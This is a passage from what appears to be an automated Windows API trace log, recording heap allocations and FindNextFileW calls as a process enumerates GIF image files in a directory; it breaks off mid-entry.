[0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008928 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3578 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008948 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3680 [0068.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.360] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008968 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3788 [0068.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.360] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008988 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3890 [0068.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2a80) returned 0x1029d60 [0068.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1020c10) returned 1 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10089a8 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3998 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10089c8 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3aa0 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10089e8 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3ba8 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.362] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008a08 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3cb0 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.362] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008a28 [0068.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3db8 [0068.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008a48 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3ec0 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008a68 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd3fc8 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008a88 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd40d0 [0068.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008aa8 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd41d8 [0068.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008ac8 [0068.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd42e0 [0068.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.364] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008ae8 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd43e8 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008b08 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd44f0 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008b28 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd45f8 [0068.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.366] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008b48 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4700 [0068.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.366] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008b68 [0068.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4808 [0068.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.367] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008b88 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd4910 [0068.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2ac0) returned 0x1020c10 [0068.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029d60) returned 1 [0068.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0068.367] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, 